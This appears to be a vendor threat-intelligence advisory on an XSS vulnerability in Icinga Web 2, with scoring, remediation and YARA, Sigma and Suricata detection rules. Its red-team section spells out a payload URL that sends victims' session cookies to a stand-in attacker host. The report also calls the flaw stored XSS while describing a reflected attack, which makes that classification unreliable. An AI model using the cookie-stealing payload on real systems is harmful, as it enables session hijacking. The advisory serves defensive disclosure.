CVE-2025-27405

Executive Summary

CVE-2025-27405 is a stored cross-site scripting (XSS) vulnerability in Icinga Web 2, an open-source monitoring web interface. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This allows the attacker to perform actions on behalf of the victim, such as modifying monitoring configurations, viewing sensitive data, or escalating privileges. The vulnerability affects all versions prior to 2.11.5 and 2.12.3. A workaround exists for version 2.12.2 by enabling a Content Security Policy (CSP). No public proof-of-concept (PoC) or exploit code has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click the crafted link.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): High – Sensitive data (e.g., session tokens, monitoring data) can be exfiltrated.
• Integrity (I): Low – The attacker can modify data but with limited scope.
• Availability (A): None – No direct impact on availability.

Threat Level: High. The low attack complexity and network-based vector make this a significant risk for organizations using Icinga Web 2.

Deep Dive & Mechanics

The vulnerability resides in how Icinga Web 2 handles user-supplied input in URLs. Specifically, certain parameters or path components are not properly sanitized before being reflected in the page content. An attacker can inject JavaScript code into a URL that, when processed by the application, is rendered in the HTML output without proper encoding.

Attack Flow:

1. The attacker crafts a URL containing a malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
2. The attacker sends this URL to a victim (e.g., via email, chat, or a phishing link).
3. The victim, who is authenticated to Icinga Web 2, clicks the link.
4. The application processes the URL and reflects the malicious payload in the response.
5. The victim's browser executes the JavaScript, allowing the attacker to:
   • Steal session cookies.
   • Perform actions on behalf of the victim (e.g., create new users, modify monitoring configurations).
   • Redirect the victim to a malicious site.
   • Exfiltrate sensitive data displayed on the page.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is insufficient output encoding of user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a controller or view file
$userInput = $_GET['param'];
echo "<div>" . $userInput . "</div>";

Patched Code (Conceptual):

// Using proper output encoding
$userInput = $_GET['param'];
echo "<div>" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing the execution of injected scripts. The specific fix in Icinga Web 2.11.5 and 2.12.3 involves applying consistent output encoding across all user-facing inputs.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Icinga Web 2 instance (version < 2.11.5 or < 2.12.3).
• A victim user account (authenticated session).
• A way to deliver the malicious URL to the victim.

Steps:

1. Identify a vulnerable parameter. For example, the q parameter in search functionality or a URL path component.
2. Craft a malicious URL:

   http://target-icinga.local/icingaweb2/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the URL to the victim (e.g., via a phishing email).
4. When the victim clicks the link, the JavaScript executes and exfiltrates the session cookie to the attacker's server.
5. The attacker uses the stolen cookie to impersonate the victim.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for suspicious URL patterns containing <script>, onerror=, javascript:, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Immediately upgrade to Icinga Web 2 version 2.11.5 or 2.12.3.
• If running version 2.12.2, enable CSP in the application settings as a temporary workaround.
• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security training for users to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror=, javascript:, or base64-encoded payloads in URL parameters.
  • Outbound connections to unknown or suspicious domains from the Icinga Web 2 server.
• Host IOCs:
  • Unusual entries in web server access logs (e.g., GET /icingaweb2/search?q=<script>...).
  • Presence of unexpected JavaScript files or modified application files.
• User Behavior IOCs:
  • Unusual actions performed by a user account (e.g., creating new users, modifying configurations) that do not match normal behavior.

Detection Engineering

YARA Rule

rule CVE_2025_27405_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-27405 in Icinga Web 2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27405"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:\s*/i
        $xss4 = /onload\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-27405 Icinga Web 2 XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts against Icinga Web 2 (CVE-2025-27405)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27405 Icinga Web 2 XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/icingaweb2/"; http_uri; pcre:"/(<script|onerror=|javascript:|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Icinga Web 2 to version 2.11.5 or 2.12.3 (or later). This is the definitive fix.
2. Workaround: If running version 2.12.2, enable Content Security Policy (CSP) in the application settings under Administration -> Application Settings -> Security -> Content Security Policy.
3. WAF Rules: Deploy or update WAF rules to block common XSS payloads targeting the application.

Long-Term Measures:

• Implement a secure development lifecycle (SDLC) with regular security code reviews.
• Use automated security scanning tools (e.g., SAST, DAST) to identify XSS vulnerabilities.
• Enforce strict CSP headers across all web applications.
• Conduct regular penetration testing and vulnerability assessments.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For further inquiries, contact intelligence@valtersit.com.